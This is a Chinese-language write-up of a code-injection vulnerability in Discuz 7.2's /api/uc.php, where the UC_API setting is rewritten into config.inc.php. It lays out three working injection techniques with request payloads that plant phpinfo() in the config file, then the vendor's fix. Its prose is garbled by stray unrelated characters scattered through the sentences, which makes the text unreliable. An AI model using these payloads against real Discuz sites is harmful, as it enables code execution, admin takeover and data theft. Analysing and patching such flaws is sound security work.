問題
阿里云安騎士報discuz 7.2版本的/api/uc.php存在代碼寫入漏洞官撼,導(dǎo)致黑客可寫入惡意代碼獲取uckey,最終進(jìn)入網(wǎng)站后臺傲绣,造成數(shù)據(jù)泄漏燥狰。
漏洞代碼
function updateapps($get, $post) {
......
#行360
$configfile = trim(file_get_contents($this->appdir.'./config.inc.php'));
$configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
//將POST收到子系統(tǒng)的uc_api寫入配置文件棘脐,
//對接收的參數(shù)增加addslashes避免直接輸入[' | "] 閉包前面的符號,造成寫任意代碼
$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i",
"define('UC_API', '".addslashes($UC_API)."');", $configfile);
if($fp = @fopen($this->appdir.'./config.inc.php', 'w')) {
@fwrite($fp, trim($configfile));
@fclose($fp);
}
......
}
最開始處理這個漏洞時龙致,只是照著網(wǎng)上的方案修復(fù)了一下蛀缝,未求甚解。直到最近看了P神的博客目代,突然茅塞頓開屈梁。照葫蘆畫瓢寫下這個漏洞的利用方法。
后話:最好的修復(fù)方式應(yīng)該是:與最新版系統(tǒng)對比不同榛了。
此外在讶,當(dāng)有開源系統(tǒng)發(fā)布新版時,也可以通過查看diff高效的發(fā)現(xiàn)舊舊版本安全漏洞霜大。
漏洞利用
假設(shè)對方已經(jīng)獲取了你的UC_KEY构哺,可以使用Dz自帶的_authcode方法發(fā)送任意的請求。將漏洞代碼簡化如下:
#讀取配置战坤,用請求參數(shù)中的UC_API替換文件內(nèi)容曙强,回寫到文件中
$file = file_get_contents('./config.php');
$UC_API = $_REQUEST['uc_api'];
$file = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $file);
file_put_contents('./config.php', $file);
法1 (利用正則 .*? 的非貪婪匹配 )
#第一步:插入',并用//注釋后面的代碼
http://localhost/safe/conf_test.php?uc_api=aaa');phpinfo();//
#config.php : 此時配置正常
define('UC_API', 'aaa\');phpinfo();//');
#第二步:uc_api=任意內(nèi)容途茫,利用正則將兩個['aaa\']中的內(nèi)容提換掉
http://localhost/safe/conf_test.php?uc_api=ccb
#confing.php: 摻入phpinfo 代碼可執(zhí)行
define('UC_API', 'ccb');phpinfo();//');
OR碟嘴,使用 %0a將代碼折行注釋
#第一步:插入',并折行注釋后續(xù)代碼
http://localhost/safe/conf_test.php?uc_api=aaa');phpinfo();%0a//
#config.php :
# define('UC_API', 'aaa\');phpinfo();
# //');
#第二步同上
法2 (利用preg_replace 第二個參數(shù)囊卜,自動轉(zhuǎn)義反斜線 '' )
正則替換的第二個參數(shù)會自動進(jìn)行轉(zhuǎn)義娜扇,將兩個連續(xù)的\\,轉(zhuǎn)義為一個\栅组。 所以如果存在 {\\\'} 則會被轉(zhuǎn)義為{\\'}雀瓢,最后多出來一個{'}
#訪問:
http://localhost/safe/conf_test.php?uc_api=aaa\');phpinfo();//
#config.php : 成功插入可執(zhí)行代碼
define('UC_API', 'aaa\\'); phpinfo(); //');
法3(利用正則\n|$n,將第n個子組替換到文本中)
#正則替換子組功能示例
$a = 'aa1234aa';
$b = preg_replace('/aa(\d+)aa/', 'bb\1bb', $a);
echo $b;
//輸出: bb1234bb玉掸。 詳細(xì)說明見上圖preg_replace.png
%00 代表字符串Null刃麸,有各種文件相關(guān)的截斷漏洞。 但addslashes( urldecode(%00) ) = '\0'排截。
在正則中'\0' 正好表示完整模式的匹配文本,可以用來利用辐益。
#第一步:
http://localhost/safe/conf_test.php?uc_api=aaa);phpinfo();//
#config.php :
define('UC_API', 'aaa);phpinfo();//');
#第二步:uc_api=%00
#confing.php:
define('UC_API', '【define('UC_API', 'aaa\');】');phpinfo();//');
#第三步:
# todo断傲,這個使用define來配置變量,在此處用%00這個方法不是很好實現(xiàn)漏洞利用智政,構(gòu)造合規(guī)語法需要多次嘗試认罩。
下面套用一個簡單的例子:
<?php
#conf_set.php
#配置文件使用 $option='xxx'; 形式來配置,覆蓋語法一樣
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|',"\$option='$str';",$file);
file_put_contents('xxxxx/option.php',$file);
?>
漏洞復(fù)現(xiàn):
#第一次傳入:;phpinfo();
#文件內(nèi)容:$option=';phpinfo();';
#第二次傳入:%00
#%00被addslashes()轉(zhuǎn)為\0续捂,而\0在preg_replace函數(shù)中會被替換為“匹配到的全部內(nèi)容”垦垂,
#此時preg_replace要執(zhí)行的代碼如下:
preg_replace('|\$option=\'.*\';|',"\$option='\0';",$file);
#文件內(nèi)容: $option='\$option='; phpinfo(); ';';
#成功閉合
漏洞修復(fù)
官網(wǎng)修復(fù)方案:
//1. 先過濾掉POST參數(shù)中的特殊字符
if($post['UC_API']) {
$UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);
unset($post['UC_API']);
}
......
//2. 寫入文件前判斷UC_API是否為url格式
if(preg_match('/^https?:\/\//is', $UC_API)) {
$configfile = trim(file_get_contents($this->appdir.'./config.inc.php'));
$configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i",
"define('UC_API', '".addslashes($UC_API)."');", $configfile);
if($fp = @fopen($this->appdir.'./config.inc.php', 'w')) {
@fwrite($fp, trim($configfile));
@fclose($fp);
}
}
相關(guān)閱讀: